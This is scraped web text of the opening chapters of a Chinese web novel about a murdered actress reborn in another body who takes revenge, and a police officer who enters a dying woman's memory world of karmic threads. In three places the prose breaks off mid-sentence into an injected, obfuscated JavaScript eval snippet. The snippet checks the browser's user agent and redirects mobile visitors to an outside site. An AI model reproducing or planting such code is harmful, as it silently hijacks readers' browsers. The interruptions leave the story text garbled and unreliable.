《重生案取缔组》 1. 第一章 冷面女服务生 东风夜放花千树,更吹落,星如雨。 光影霓虹在摩天大楼窗外炸开,黎曼红站在屋里落地镜子前,最后一次检视自己的妆容。 今天是她和方许恩的订婚宴,轰动了半个娱乐圈的爆炸消息在热搜榜上直接挂了半个多月——新晋顶流95花事业上升期步入礼堂。 确切的说,黎曼红现在还不在娱乐圈顶层,只是准·顶流,但今天过后,明天、后天、大后天就说不准了。 电话铃声在屋内响起,黎曼红一边走过去拿起手机接听,一边从化妆台上取了香奈儿的SUN KISS唇膏,一点一点拧出,小心细致地再给自己的红唇上一层色。 还不够红。 “救命、救命,你们、你们到底是谁,要干什么!” 电话听筒里传来惊慌失措的声音,然后是扇巴掌的声响,推搡的声响和女人的惊叫。 “黎小姐,按照委托内容,货物已经到手了,您要不要验验货?” “好啊。”黎曼红淡淡说了一声,那头打开了摄像头,夜晚、荒郊,一条湍流不息的大河边,两个戴着口罩帽子的男人正把一个五花大绑的女人拖向河边。 女人一边惊叫一边挣扎,高跟鞋早已踢断了鞋跟,她努力想要不被拖走,以至于在刚刚下过雨的湿润泥地上留下了两道鞋跟因子。 “你们知道我是谁吗,我是桑箬,大明星,你们……啊!”又是一记巴掌狠狠扇在女人脸上,打得她头晕眼花,半天说不出话来。 “黎小姐,您看上的可是高级货,背靠着大金主……” 黎曼红打断电话那头的讨价还价:“她的背后是天茂集团的董事长李天钧,他有正牌未婚妻,不会为了区区一个地下情妇下场。” “黎小姐这么有把握?” 黎曼红冷笑:“你们道上接活可以这么不讲信用的么,谈好的价钱,说好的时间都不算数?难道我不是真金白银请你们来办事的?” 那头沉默了片刻:“尾款再加30%。” “15%。” “25%。” “20%。” 黎曼红干脆利落地挂断电话,很快,那头又打了过来:“尾款再加20%,今晚我们办成事就出境,你得给我们安排好贵宾舱。” “行,我要见她最后一面。” 电话被拿到了已经哭花了妆的女人跟前,她长得清新雅致,即便脸上有了些许岁月痕迹却仍像朵未经世事的纯白茉莉花,此时哭得眼泪鼻涕一把,更显得楚楚可怜。 “你们是谁,为什么要这么对我,我到底做错了什么!”桑箬发出尖叫,要不是被两个男人按着,简直想要穿过屏幕把指甲挠到黎曼红脸上。 黎曼红慢条斯理地打开摄像头,看向对面。 “你是……王……王洁琼?”抬头不见低头见的娱乐圈,要不是现在的黎曼红咖位还不够,桑箬不应该花那么久才想起她。 “你认错人了。”黎曼红说。 “不可能,我知道你,你居然用这种手段!” “不,你确实认错人了,因为我是……黎、曼、红。”那三个字出口的一刹那,黎曼红眼睁睁看着桑箬蓦然睁大眼睛,脸色变得刷白。 “你、你说什么?”桑箬的声音颤抖。 “桑小姐还记得夜辉煌俱乐部吗,你们给我灌了酒下了药,把我送到老头们的床上,害得我好惨!” “不可能,不可能,黎曼红已经死了、死了!”桑箬发抖,继而狂叫,“我亲眼看着她死的,你跟她是什么关系,你……” 黎曼红将电话拿远,对重金雇来的杀手发话:“送她上路吧。” 女人发出歇斯底里的尖叫,又有烟花飞到半空,炸开的巨大声响将她的声音盖得严严实实。 绑上石头、蒙上眼睛、堵上嘴,然后推进湖里,接着冰凉的湖水会蜂拥进鼻腔嘴里,氧气会一点点从肺里被榨干,呼吸道像是烧着了,心脏好像要炸开,眼前满是回马灯转出来时路的点点滴滴,然后……心跳停止。 “黎小姐,事办好了。” 黎曼红从自己的回忆中惊醒,手机屏幕上出现被风轻轻吹动的湖面,看不到一点气泡,也再听不到桑箬的声音。 “去机场吧,我会把安排好的航班座次发给你们,后会无期。”黎曼红切断电话,揉了揉太阳穴。 她已经很久没有想起自己前世死亡的那一刻了,那种孤独和绝望,崩溃和愤怒,以及被最心爱的男人背叛带来的巨大的恶心感,常常让重生成王洁琼的黎曼红夜半惊醒,呕吐不止。 “马上就轮到你了,李天钧。”黎曼红描好红唇,抿了抿,艳红色泽在她漂亮精致的唇瓣上延展,像天下间最毒、最红的花。 黎曼红推开化妆间的门,正要出去,突然听到身旁传来一声轻呼:“王小姐。” 黎曼红一惊,立刻警惕地看向那头。 一名穿着服务员服装的青年女子站在廊灯下头,微微低头,恭敬地对着她:“王小姐,订婚仪式马上要开始了,司仪让我来请您。” 女人个子修长,重生后的黎曼红有一米六十九,这人还比她高几公分,估摸着有一米七三,剪一个《这个杀手不太冷》中娜塔莉那样的头,黑色的中分短发没有刘海,下面是一张小巧精致的瓜子脸,皮肤瓷白,嵌着两只黑白分明的丹凤眼,看起来像尊精致的人偶。 “王小姐?” 黎曼红回过神来:“让你久等了。” 女子忙摇头:“我正要敲门,王小姐您就开门了,没有久等。” 所以她应该没听到刚刚的动静。 黎曼红松了口气,问:“宾客都到齐了吗?” 女子恭敬地回答:“都到了。” 黎曼红问:“李天钧呢?” 女子歉意地回答:“我不负责迎宾,也不认识李先生,是司仪大哥说人都到了。王小姐,需要我去问一下那位李先生的事吗?” 黎曼红摇摇头:“不用。”看来这女服务生确实是碰巧出现。 今天的订婚宴上,黎曼红并没有邀请李天钧,虽然她的确是想再见他一面的,见见那个前世害死自己的负心渣男最后一面,就像刚刚见桑箬那样,但王洁琼和方许恩的关系网里不适合有那个人。 可惜了。 不过世上本就没有十全十美的事,老天莫名其妙给了她黎曼红重生再来一次的机会,这已经很好了。 黎曼红走到走廊尽头的大门前,吸了口气,推开大门。 明亮的灯光伴随着悠扬的小提琴旋律一同扑面而来,夹杂着碰杯谈话声与含蓄的笑声,身着高定的黎曼红像走红毯一样,风姿款款从旋转楼梯下行,大厅里的宾客都停下手头的动作,看向她。 “洁琼!”人群中的方许恩正在跟几个朋友说话,看到盛装打扮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322598|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的黎曼红眼睛都亮了,伸手用力挥了一挥。 这孩子气的动作引得旁边几位女宾不由得掩嘴轻笑,黎曼红微微皱了一下眉,很快又舒展开来。 “洁琼,你今天真好看!”方许恩走上前来,热烈地打量着黎曼红。 这青年像是老天送给重生的黎曼红的礼物,和向来冷静持重的李天钧不同,方许恩年轻、灿烂、热烈、奔放,像一匹在广袤草原上尽情撒欢的小马驹,有着无穷无尽的活力与暖热。 黎曼红贴过去,轻轻吻了方许恩的脸颊一下,惹得旁边一片啧啧声。方许恩有些不好意思地红着脸,激动地拉起她的手:“给你介绍我的朋友,这是LEO,这是MANSON,都是我在英国念书时的同学。” 黎曼红以前不喜欢这类型的“小奶狗”,作为李家奶妈的女儿,她从小和李家少爷李天钧一起长大,习惯了仰视李天钧的少年老成与心机深重,从来看不起那些没轻没重,浮夸话多的年轻人,她觉得他们肤浅、幼稚、没底蕴,直到有一天,她发现自己也成了李天钧心机大业中微不足道的牺牲。 舞台上麦克风传来声响,司仪站上舞台,满面笑容地环视全场:“吉时已到,下面我们将隆重举行音乐才子方许恩先生与明日巨星王洁琼女士的订婚仪式,请各位尊敬的来宾到舞台前集合,让我们用热烈的掌声有请今日的男女主人公登场。” …… 崧江边上,红蓝两色警灯闪烁,两个男人被银手铐铐着,押上警车。 江水哗啦一声分开,一名穿着潜水衣的男人双手一撑,身姿矫健的从水里跃出,身后跟着的另外几个人也浮出水面,七手八脚将水里找到的女人拖了上来。 急救人员急匆匆赶过来查体征,做心肺复苏,等到有了起色便急急忙忙把人扛上担架,往急救中心送。 刑警小陆急匆匆跑到秋樰生身边汇报情况:“报告秋队,歹徒跑了一个,已经通知全市交警设卡排查。” “机场、火车站、长途汽车站也不要落下,全市出租车平台普发协查通报。”秋樰生摘下氧气面罩,露出一张精致俊美的脸。他的五官柔美清冷之中带有英气,颇有几分“陌上人如玉”的翩翩贵公子气质,不过摘下潜水帽子露出的却是一个短短的寸头。 “是。”小陆问,“您要跟我们一起去吗?” 秋樰生说:”我当然……” 电话响了,秋樰生摸出手机接通:“郑队。” 郑金虎那头言简意赅:“秋队,下一个地点定位发到你手机上了。” 秋樰生今天刚到隀明市警察局刑侦支队履新副队长,结果半路当中接了任务来崧江边上逮人,没有前因后果,甚至不知道自己在办什么案子,现在又要他不明不白去下一个地方。 “郑队,我能不能……” “到了那里会有我们的同志跟你联系,你照她说的配合就好。” “我要带多少人什么设备,对方有几个人?” “你自己去就行,对方只有一个人。”郑金虎说,“我知道你现在有很多疑问,不过事急从权,等事办完了再跟你细说,记住,做好保密工作。” 电话切断,秋樰生想要骂人。手机响了一声,发过来一个定位,隀明中心云上酒店188层婚礼中心,联系人:秦于理。 秦于理又是谁? 秋樰生坐进自己的老破奥迪,一脚油门向着市中心出发。 2. 第二章 玉面俏刑警 大厅里弦乐缭绕,黎曼红高扬的艳红裙摆在最后一声弦声中洒脱地飘飞落下,四周爆发一片鼓掌声。 她拉着方许恩的手,优雅地向来宾们鞠躬致意,以示感谢。 方许恩刚想说什么,四周突然响起各种各样的手机提示音或振动声,人们纷纷拿出自己的手机,查看上面的消息,随后就像是病毒传染一般,或讶然或震惊的神情向着四面八方扩散开。 “发生什么事了?”方许恩长居国外,对于国内的社交平台还不熟悉,自然不知道此时此刻有些新热搜高挂榜上,而政商娱乐圈因为这些热搜,就像被丢入一块石墩子的深潭,激起千层瀑来。 “当红女明星桑箬疑因情绪病于今晚八时许投江。” “隀明市一政府公职人员今日下午接受纪律审查和监察调查。” “天茂集团董事长李某某涉黑违法视频曝光。” 黎曼红看着方许恩有些生疏地点开社交平台,各种相关视频一窝蜂地出现在人们眼前,有某H姓官员被JW带走的文字消息,有救护车匆匆在路上开过留下残影的照片,有天茂集团股票下跌的截图,有已经被BAN显示出错的视频,现存转发量最高的是一则短短五分钟的视频。 方许恩打开,手机屏幕上出现一名满头白发,一脸褶皱的老妇人,她捧着黎曼红的遗像,缟素跪地,在天茂集团门口边烧纸边念念有词。 “是李天钧害死了我女儿!阿红不是大家嘴里说的坏女人,她不是自杀的,她是被人害死的。李天钧利用了我女儿的感情,他逼她用自己的身体去贿赂H某某那个混蛋,是他害死了她!苍天有眼,阿红,妈一定要替你讨回公道!!!” 老妇人凄厉的叫声穿透屏幕,把方许恩吓了一跳,手机“啪嗒”一声掉到地上。黎曼红赶在他之前弯腰捡起。 方许恩说:“谢谢,咦,你怎么……” 黎曼红忍着不让眼泪掉下来,对方许恩嫣然一笑:“许恩,我刚刚跳舞的时候磨破了后脚跟,去化妆间里换双鞋顺便休息一下。” 方许恩忙说:“我陪你去!”却被黎曼红推开。 “这里没东家在可不行,你陪着大家,我去去就回。”黎曼红火速扭头穿过人群,像赶十二点南瓜马车的灰姑娘,迟一秒都会被打回原形。 “方先生,我去陪着王小姐。” 方许恩还没回过神来,就见一名高个子的女服务生匆匆跟着黎曼红的身影也消失在旋转楼梯上。 “到底是怎么了?”方许恩忍不住嘟哝,有人来找他讲话,他只得姑且放下,与那人寒暄起来。 …… 云上酒店188层的空中花园围栏边,黎曼红端着高脚杯俯视着灯红酒绿,车流不息。季夏的晚风吹起她乌云一般的波浪秀发,在空中翻飞像一面胜利的旗帜。 楼下隐隐约约似乎能听到警车救护车鸣笛声,远处的大屏幕上正在穿插播放有关部门前往天茂集团突击检查的画面,天茂集团门口老妇人的哭嚎画面,还有新闻记者举着话筒围堵李天钧的画面。 几名黑衣服保镖护着李天钧艰难地突破人群往外走,李天钧一言不发,冷着脸,还是一如既往的清高疏离,但黎曼红能看出李天钧此时心里的焦虑,他只有遇到难以解决的大问题时才会习惯性地用左手按压痉挛的胃。 “李天钧,你也有今天!”黎曼红饮下一口红酒,冷冷扬起唇角。 烟花蹿上半空,在离她仿佛极近的地方炸开,艳红色的火光像绽放的牡丹花瓣浓墨重彩地在人的视网膜上重重一点,影像经久不散。 “黎曼红!” 有人突然喊了一声,黎曼红下意识地回头,一个身影飞快地撞了过来,黎曼红躲闪不及被那人撞在围栏上,小半个身子仰翻出去,红酒杯也咔擦一声,摔碎在地。 “你……” “果然是你!”明明刚刚还在大屏幕上被记者围堵的李天钧不知何时也来到了云上酒店,往日里英俊潇洒的霸道总裁此时狼狈不堪,西服皱了,头发乱了,额头青筋迸出,像一只择人而噬的鬼。 黎曼红拼命抓住围栏,往里推:“你……你是天茂李董?你认错人了,我是王……王洁琼,不是黎……” 李天钧咬牙切齿:“我就知道你不简单,桑箬那个蠢女人折在你手里就算了,你居然摆我一道。只有你才有机会偷录下那些我和人过往谈事的音频视频,也只有你才能找到我锁在老宅里那些来往生意的证据,交到JW手里!” 黎曼红脑子嗡的一声,有事态败露的惊慌,却还有更多的痛快。她看着李天钧,发自肺腑地轻叹一声:“没办法,被你认出来了,我就是那只被你杀死的厉鬼,我从地狱里爬回来索你的命来了!” 李天钧骤然一惊,被黎曼红推开半臂:“不可能,黎曼红已经死了,你不可能是她,人死不能复生!”明明刚才还那么坚持,此时却又不敢承认了。 黎曼红忍不住笑出声来:“人死不能复生?本来我也是这么认为的,你把我沉湖的时候没想过有今天,我自己也想不到。谁能想到呢,老天开眼,居然给我再来一次的机会,看来就连天都看不下去你们这对为非作歹的狗男女!” “你!”李天钧勃然大怒,狠狠一巴掌扇在黎曼红脸上,黎曼红被他打得连退数步,再次重重撞在围栏上。 李天钧死死掐着黎曼红的脖子,咬牙切齿:“都是你害的,你害得我什么都没有了,我要杀了你,有本事你再复活一次,你回来几次,我就杀你几次!” “你在门口等着就行,好了,先挂了。” 一个冷冷的女声忽然响起,李天钧不由得一惊,掐住黎曼红的手也下意识松开,黎曼红狠狠咬了他一口,李天钧吃痛松开,黎曼红想要逃跑,被他扯着头发拖回来,继续按在围栏上。 “什么人?” “差不多得了。”来人慢悠悠地从阴影里走出来,那是一名穿着服务员制服的高个女人,她不知道在这里已经有多久了,短发都被风吹得有些乱。 把手机装进兜里,女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322599|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手一点点理自己的头发:“秦于理。” “什么?” “你不是问我是什么人吗?”秦于理说,灵动的丹凤眼从李天钧身上移动到黎曼红身上又移向围栏外头,似乎在思忖什么。 “滚,这里没你的事!”李天钧咆哮。 “可我是警察哎。” 黎曼红眼睛一亮,立刻着急地呼喊:“同志,救救我,我不认识他,我也不知道他为什么突然袭击我!” “闭嘴!”李天钧已然破罐子破摔,却连自己都不知道此时应该采取什么行动才是最正确的。 “掐死一个大活人需要时间,而且还有可能只是假死,能救得回来。”秦于理慢条斯理地建议,将发丝顺好,用手指一一别到耳后,“我要是你,我就把她从楼上扔下去。” 黎曼红惊恐地看向秦于理:“你、你说什么?” “隀明市新地标,188层云上酒店,离一千米只差一米,从这里摔下去,肯定粉身碎骨,阎罗来了都只能摇头。”秦于理说,“除了被我目击到这个缺陷以外,没什么比这更好的杀人方式了。” 李天钧阴沉地抬眼盯秦于理:“你到底想干什么?” “还能干什么?来抓罪犯。”秦于理说,“已经够晚的了,我还没吃晚饭呢,行行好,快点把事了了。” 黎曼红突然一脚狠狠踩在李天钧脚上,细高跟钉穿了李天钧的鞋面,痛得他惊呼一声,下意识地退开。黎曼红不顾一切往里狂奔,李天钧一把抱住她,想也不想,一手下压,一手抬高,将黎曼红整个人从围栏上抛了出去。 “啊!!!!”尖叫声响起,继而停止。 “抓住我的手,我拉你上来!” 下方传来似曾相识的声音,秦于理眼皮跳了跳,她探出脑袋,看到下一层楼里有个男人开窗探出半个身子,千钧一发之际拽住了下落的黎曼红。 “秋樰生?”秦于理喊。 寸头的玉面刑警抬起头,浓眉下一双炯炯有神的双眼因此对上了那双灵动却又冷漠的丹凤眼。 李天钧发现情况不妙,开始转身逃跑。 “放手!”秦于理喊。 “什么?” “你在坏我的事,我叫你放开她!” 秋樰生无法理解:“你就是秦于理,你发什么神经,我在救人。” “我让你在门口等着,谁让你擅作主张上来的!”秦于理喊,“时间来不及了,快放手。” “你在杀人?” “她必须得再死一次,不死断不了因果!”秦于理骂了一声,翻身从围栏一跃而下。 秋樰生完全没料到会有这么一档子事,手上吃痛,像被什么扎了一下,他下意识地松手,黎曼红发出惊叫快速坠落。 “去抓李天钧,那女人是我的目标!”秋樰生扑到窗前,就看到秦于理像只鹞子一般以跳伞的姿势追着下坠的女人而去,风幽幽地送上来她的骂声:“郑队派的什么玩意儿!” 秋樰生:“……” 3. 第三章 因果线的世界 秦于理高速下坠,她并没有失去对自己身体的控制能力。在半空中,她飞快地戴上一副类似护目镜的东西,校准了方位,将翻滚摔落的黎曼红于视野中锁定,然后伸手果断拉住黎曼红的胳膊。 叮—— 一瞬间像是有轻微的铜风铃被扰动,周围灯红酒绿霓虹光影在一瞬间仿佛静止,而后模糊,褪色的洪流以秦、黎两人为中心,向后疯狂开倒车。 “对接上了。”秦于理精神一振,立刻做好准备。 下一瞬,这个褪色的世界就像在滚筒洗衣机里翻滚起来一般,周围的一切事物都飞速扭曲撕裂消失,世界一瞬间变得很亮然后又飞快变暗,然后再重复,明明暗暗中,秦于理跟着调整了几次身形,最后一个翻身,落到了扎实的“地面”上。 “进来了。”秦于理小心转动眼睛,观察周围。 这是一个闪烁着昏暗灯光的空间,黎曼红已经不见了,取而代之的是无数根错综复杂缠绕交织的线。 就像悬疑电视剧里经常出现的那种主角破案用的线索背景板,密密麻麻粗细不一的线高低穿梭往来,不知从何来,不知向何去,也不知道究竟有多少股在此间交汇。 秦于理的姿势调整得很到位,在她咽喉前不到两公分的地方就是两根十字交叉的线,差一点儿那线就会切进她的气管,造成不可逆的伤害。 秦于理控制呼吸,轻轻朝它吹了口气,细线纹丝不动,明明看起来像蜘蛛丝一样孱弱,却又像金属丝一样坚韧。 “编号1178秦于理开始执行任务,重生嫌疑人:黎曼红。”轻敲护目镜,秦于理说道,护目镜亮了起来,三百六十度的金色光线以她为中心扫射后将身周五米内的细线分布一点点反馈到她眼前。 秦于理没有等所有画面完全呈现才行动,人从高处坠落的濒死时间有限,哪怕在这个空间,时间流速被人为降低,她也需要尽可能的快! 因为这是人死之前,走马灯的世界! 秦于理就像是练过柔术的杂技演员,她细长的四肢灵活而谨慎的越过那些复杂的线网,柔软的腰肢或下弯或上曲,如同蛇一样一点点从被切割固定的逼仄网格里腾挪转移出来,不一会儿,她找到了一个狭小的空间。 秦于理跟猫科动物一样蹲踞在那个小空间里,向周围看去。 这里是一个节点,密集交叉编织的线在此处有了短暂的宽疏,也因此让人看出原来这些线并不都是一种颜色。 秦于理仔细看,一部分线是暗红色的,另一部分线则像经历过岁月洗礼的红褐色铁锈。 秦于理戴上手套,虚虚描摹暗红色线的延展方向,将两股线分开。觉得差不多了,伸手轻轻一拉,对面传来反作用力,画面向秦于理快速逼近吞没。 “琼琼,你说咱们这样没背景的人真的能有出头的一天吗,我怎么觉得看不到前路呢?” “会有路的,是金子总会发光,只要有机会……” “那也得有机会啊,咱们连试镜的机会都轮不到,再真的金子也没人看得到!哎,你怎么又要出去?” “我多找了份打工,不然没钱给家里寄了。反正还是要坚持,最多咱们多跑几次剧组多试几个角色呗,甭管多小的角色,有机会就上。” 长相青春靓丽的女孩背影消失在关闭的门后,这是王洁琼来时路的一段。 秦于理又换红褐色的线小心翼翼地轻轻一扯,那头同样传来拉力,一团花里胡哨的光影飘飞而至,让人觉得像是掉进了花丛里。 确实是花丛没错,不过是人为制造的花丛。男女主吊着威亚,在半空中深情凝视,一群工作人员从屋檐上往下抛洒五彩缤纷的花瓣,摄像机围着他们旋转,制造古偶剧名场面“爱的魔力转圈圈”。 “卡”,旖旎的气氛一瞬消失,男女主分别被放到地上,女主没有跟对手打招呼,就往一旁跑去。 “导演,我去下厕所,十分钟就回来。”女人脸上洋溢着神采,像是碰到了不得了的好事。 “去吧去吧,不用急。”男人的声音响起,女人提着裙摆飞快跑开。 “这也太耍大牌了,才拍多久就要休息。”男主在旁边抱怨。 “黎小姐背后有人。” “谁背后没有人?” “那怎么能一样?”导演语重心长中带着几分嘲讽,“咱这剧能不能播还得靠她的老BABY呢。” 秦于理看到黎曼红的背影在这时略微停顿了一下,随后加快速度跑出了画面。 秦于理按下护目镜上的通讯键,那头传来刺啦刺啦的电流噪音,其中夹杂着一个年轻女声,略带失真。 “重案组小赵为您服务。” “替我查一下黎曼红拍某部剧的时间。”秦于理描述了刚刚画面中黎曼红的古装扮相,男主大概的样子,还有爱的魔力转圈圈。 “2015年,《公主请上轿》,导演庄大伟,男主费麒。” 十年前,早了。 那时候王洁琼和黎曼红还各自有各自的人生轨迹,只不过一个还是边打工边跑组试戏的群演,另一个已经是流行古偶剧的当打花旦。 秦于理顺着同一根线向不同方向摸索。 “2010年,综艺节目《美少女学院》。” “2018年,电影《车间里的罗曼史》。” 秦于理这次躺到地上,换从仰视的角度观察那些线网的走向。她的眼睛飞快扫过密密匝匝的线网,大致推断出时间走向,向上走又发现了一个新的节点。 脚在地上用力一蹬,秦于理刺溜一声滑动过去,伸手正要直接去拉黎曼红的因果线,却又忽然停了手,仔细查看,她发现那股铁锈红色的线里居然混杂着暗红色属于王洁琼的线。 两个女人的命运在此已经发生了交错,你中有我,我中有你。 秦于理停下手,顺着两股交错的线的两头分别看过去,看到了一团又一团错综复杂的乱麻。 叮叮当当的铃声交错响起,原本静止不动的线网此时居然开始轻颤起来,而且越来越快,越来越猛。 秦于理刚刚才观察过的那个节点处,两条原本分开的线像磁铁南北极一样没有一丁点声音就迅速扭到了一起。 时间流速加快了。 秦于理决定采取大胆的行动,她一手一边分别抓住两股缠绞在一起的红线,短暂的脑子“嗡”的一声后,无数光怪陆离、支离破碎的画面朝她涌了过来。 “这是老爷,这是太太,这是小少爷,快问好。”秦于理认出那是在天茂集团门口抱着遗照讨公道的女人,只不过此时的她更年轻,打扮虽然朴素但得体,而她手中牵着的女孩看着也就七八岁模样。 “什么老爷太太少爷,我不认识他们。” “阿红,你在说什么?” “谁是阿红,我叫小琼,我叫王洁琼……” 画面扭曲破碎,有个女孩蹦蹦跳跳地举着一块蕾丝桌布跑过秦于理的面前,嘴里喊着:“我是青城山下白素贞,代表月亮,消灭你!” “慢些跑小琼,别摔着了。”一对面露慈爱的父母跟在女孩子身后,满脸微笑地看着她。然而此时,却有一名少年从另一侧飞快地跑来,“砰”的一声将女孩撞倒在地。 洁白的桌布被男孩踩在脚下,女孩发出哇哇哭声:“我的头纱!” 秦于理看到男孩低头,露出一张青面獠牙的鬼面。 “小琼,你不是说最喜欢我了吗,我现在遇到困难了,你帮帮我,好不好?”鬼脸男孩捡起那张脏兮兮的蕾丝桌布盖到小女孩头上,好似那是一张华贵的婚礼头纱,可那桌布上早就沾染了东一块西一块的肮脏粘液,散发出叫人作呕的臭味。 “乖,小琼,我的好小琼,你知道的,我身边只有你了。” “谁是小琼,我是阿红啊,少爷,我是黎曼红,你不认得我了?”女孩子用力抓住男孩猛禽一般的爪子,隔着桌布去蹭他青白色的皮肤,“少爷,你让我做什么都行,不要丢下我,求求你!我知道错了,你让我陪谁都行,只要还能留在你身边,只要你、你不嫌弃我脏!” 两道强光打过来,秦于理微微眯起眼睛,但眼神并未离开。 一辆黑色的轿车飞驰而过,砰的一声将女孩撞飞到半空又重重跌落在地。 “妈的!妈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16322600|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的妈的妈的!”车上跑下来面目模糊的人,他的五官全都被血淋透了,根本看不清楚,但他的脸上并没有伤口。 是这段回忆的主人此时满脸是血,才会有这样的视野。秦于理低头,看到女人的身体以一个诡异的姿势倒在地上,离她不远的地方还躺着一部摔碎了屏幕的手机,慈爱的声音从听筒传出来。 “喂,琼琼,是妈妈,你不是说明天就要进组了吗,妈妈给你寄了点老家的特产,你拿去分给剧组的老师们,咱们难得有这个机会,你好好做,嘴甜一点,不吃亏……” 絮絮叨叨的声音变远、变粗哑、变陌生。 “扑通”一声,秦于理脚下冰凉,不知从哪里来的水在此时迅速蔓延而上,淹过了她的脚背、她的脚踝、小腿、膝盖……全身。 视野扭曲,看出去的东西都显得更加荒诞不经。 无数个面容相似的男孩和男人出现在这里那里,无数对慈爱的夫妇从年轻到年老在水波中机械地反复动作,像卡帧的视频。 男人说:“好了,别气了,我不是都跟你说了,我昨天跟桑箬见面是为了生意,我跟她没什么的。” 妇人说:“琼琼,娱乐圈这行饭不是咱们普通人家能吃的,你要是撑不下去了就回来,大不了爸妈养你一辈子,昂。” 男孩说:“我叫李天钧,天空的天,千钧的钧,你呢?” 看不清面目的男人骂道:“怎么半夜会有人杵在马路上,你找死啊!” 成熟男人说:“琼琼,没人欺负你吧,爸爸听说那里头乱得很,要是有人欺负你,你可一定要告诉爸爸。” 男人说:“不是说好了再陪H局长一次,你这时候耍什么性子,我能搭上他的线,我容易吗,阿红,我这不也是为了我们俩的将来?” 无数的光影像跑马灯一样围着秦于理所站的地方旋转起来,速度却不是游乐园里那样的温和,它们越跑越快,越跑越快,像高铁一样风驰电掣。 无数男人男孩夫妇同时在说话,有的愤怒,有的温和,有的谩骂,有的絮语。 秦于理眉尾一挑,一个翻身躲过了突然飞快袭击而来的两根线,又紧跟着向后翻了几个跟斗,避开了像射线般扫来的一排线。 不管是暗红色的,还是铁锈红色的线,此时统统染上了黑气,显然被蹭到一点儿都会受伤。秦于理在原地左腾右挪,闪避那些黑线的攻击,就是不离开女人身边三步范围。 声音磁性却冷漠的男人说:“你既然这么爱我,再为我做最后一件事,你去死好不好。” 看不清面目的男人气得跳脚:“怎么这么脆弱,就擦了一下,怎么就死了,不是我的错,不是我的错!” 像是舞台剧演到了高潮,听不见的鼓点密集敲响,无数根黑线如同天罗地网朝着秦于理笼罩而来。她身上的服务生制服已经被一道道切割开,变成了破布条,露出里头穿的黑色打底服。黑线又在那特殊布料做的打底服上留下一道道划痕。 闪躲范围实在有限,秦于理身手再好,脸上、身上还是出现了划痕。殷红鲜血从伤口处才流出来便迅速发黑,随后不仅不往外流,还像蚯蚓一样从伤口往她皮肤里钻。 “生命的最后一分钟,你在想什么!”秦于理大喝。 宛如黄钟大吕,一瞬间周围所有窃窃私语和大声喧哗全都消失,整个空间只剩下了嗖嗖嗖黑线攻击的声音。 “我想演戏!” “我要报仇!” “我不甘心/我不甘心!” 两个声音落下,黑红两团火焰同时燃起,互相碰撞,然而红色那团很快被吞并,黑色的墨水滴入红色的池沼,旋转着,变幻成铁锈一样压抑的颜色。 “找到了。”秦于理挥拳向着那团混沌的铁锈色用力一击,咔擦一声,像是利刃割断了绳索,所有的黑线全都失去了活性,崩毁消失。 滴滴叭叭的车流喇叭声夹杂着季夏人群的惊呼传入耳中,“嘭”的一声,秦于理身后伞包打开,降落伞带着她,她拉着黎曼红(王洁琼),两人极速下坠的身体被猛然抬高,停了一停,然后飘飘悠悠再次向下方飘落,只不过这一次,稳稳的。 4. 第四章 重案组秦于理 秋樰生跑到门口的时候,刚好看到那个不要命的女人把伞包从身上卸下来,她穿着一身不知材质的黑色打底服,一只手拖着昏过去的女明星王洁琼,脸色不悦地走过来。 “你……”秋樰生正要开口指责这个尚未互相认识的同事胡来,那边居然先开口了。 秦于理:“你怎么做的事!” 秋樰生:“什么?” 秦于理说:“叫你守在门口,你上什么楼?我办案子,你捣什么乱?” 秋樰生以前在区刑警大队时是出了名的脾气差,手段辣,刚进队的菜鸟不知道被他骂哭了几个,有几个转了岗看到他还瑟瑟发抖,什么江洋大盗灭门凶手他都能收拾得服服帖帖,从没想过,刚升进市局,头一天出警居然会被个不认识的女人骂。 比起愤怒,秋樰生第一个反应居然是懵逼,他实在没见过这种场面。他下意识地伸手要去接王洁琼,结果秦于理拖着人猛然往后退了半步。 “你不懂规矩?” 秋樰生阴沉下脸色:“我是今天刚到市局报到的秋樰生,郑队派我参与这次任务,受害人现在急需送医治疗,按办案流程……” “李天钧呢?”秦于理问。 “拷在大厅,把王洁琼交给我。”秋樰生按捺下脾气,伸手又想去拉王洁琼,还没碰到人,秦于理伸手一挥,直接拂开了他的手。 “你!”秋樰生正要发作,他的手机响了起来,是郑金虎的电话。 “郑队!” “秋队,刚刚没来得及跟你说,这桩案子是秦队负责的,我们只是帮忙,你配合她完成工作,后续事情一概不用管,全都交给她处理就行。” “什么?” “行了,都说了一切等你回来再同你细说,时间紧急,先挂了。”电话被丨干脆利落地切断。 秋樰生上下打量对面的女人:“秦队?” 秦于理用戴着手套的手指指自己:“秦于理。” 